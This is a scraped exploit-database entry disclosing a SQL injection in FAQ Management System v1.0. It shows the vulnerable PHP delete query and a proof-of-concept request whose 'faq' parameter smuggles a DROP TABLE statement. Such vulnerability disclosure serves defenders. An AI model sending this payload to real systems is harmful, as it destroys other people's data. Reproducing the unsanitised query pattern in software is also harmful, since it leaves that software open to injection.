9734fcef1e
12 changes to exploits/shellcodes/ghdb Wyrestorm Apollo VX20 < 1.3.58 - Incorrect Access Control 'DoS' Wyrestorm Apollo VX20 < 1.3.58 - Account Enumeration Wyrestorm Apollo VX20 < 1.3.58 - Incorrect Access Control 'Credentials Disclosure' FAQ Management System v1.0 - 'faq' SQL Injection Flashcard Quiz App v1.0 - 'card' SQL Injection Simple Inventory Management System v1.0 - 'email' SQL Injection comments-like-dislike < 1.2.0 - Authenticated (Subscriber+) Plugin Setting Reset Online Shopping System Advanced - Sql Injection taskhub 2.8.7 - SQL Injection IBM i Access Client Solutions v1.1.2 - 1.1.4_ v1.1.4.3 - 1.1.9.4 - Remote Credential Theft
48 lines
No EOL
1.5 KiB
Text
48 lines
No EOL
1.5 KiB
Text
# Exploit Title: FAQ Management System v1.0 - 'faq' SQL Injection
|
|
# Google Dork: N/A
|
|
# Application: FAQ Management System
|
|
# Date: 25.02.2024
|
|
# Bugs: SQL Injection
|
|
# Exploit Author: SoSPiro
|
|
# Vendor Homepage: https://www.sourcecodester.com/
|
|
# Software Link: https://www.sourcecodester.com/php/17175/faq-management-system-using-php-and-mysql-source-code.html
|
|
# Version: 1.0
|
|
# Tested on: Windows 10 64 bit Wampserver
|
|
# CVE : N/A
|
|
|
|
|
|
## Vulnerability Description:
|
|
|
|
The provided code is vulnerable to SQL injection. The vulnerability arises from directly using user input ($_GET['faq']) in the SQL query without proper validation or sanitization. An attacker can manipulate the 'faq' parameter to inject malicious SQL code, leading to unintended and potentially harmful database operations.
|
|
|
|
|
|
## Proof of Concept (PoC):
|
|
|
|
An attacker can manipulate the 'faq' parameter to perform SQL injection. For example:
|
|
|
|
1. Original Request:
|
|
http://example.com/endpoint/delete-faq.php?faq=123
|
|
|
|
2.Malicious Request (SQL Injection):
|
|
http://example.com/endpoint/delete-faq.php?faq=123'; DROP TABLE tbl_faq; --
|
|
|
|
This would result in a query like:
|
|
|
|
DELETE FROM tbl_faq WHERE tbl_faq_id = '123'; DROP TABLE tbl_faq; --
|
|
|
|
Which can lead to the deletion of data or even the entire table.
|
|
|
|
|
|
poc foto: https://i.imgur.com/1IENYFg.png
|
|
|
|
|
|
## Vulnerable code section:
|
|
====================================================
|
|
endpoint/delete-faq.php
|
|
|
|
|
|
$faq = $_GET['faq'];
|
|
|
|
// ...
|
|
|
|
$query = "DELETE FROM tbl_faq WHERE tbl_faq_id = '$faq'"; |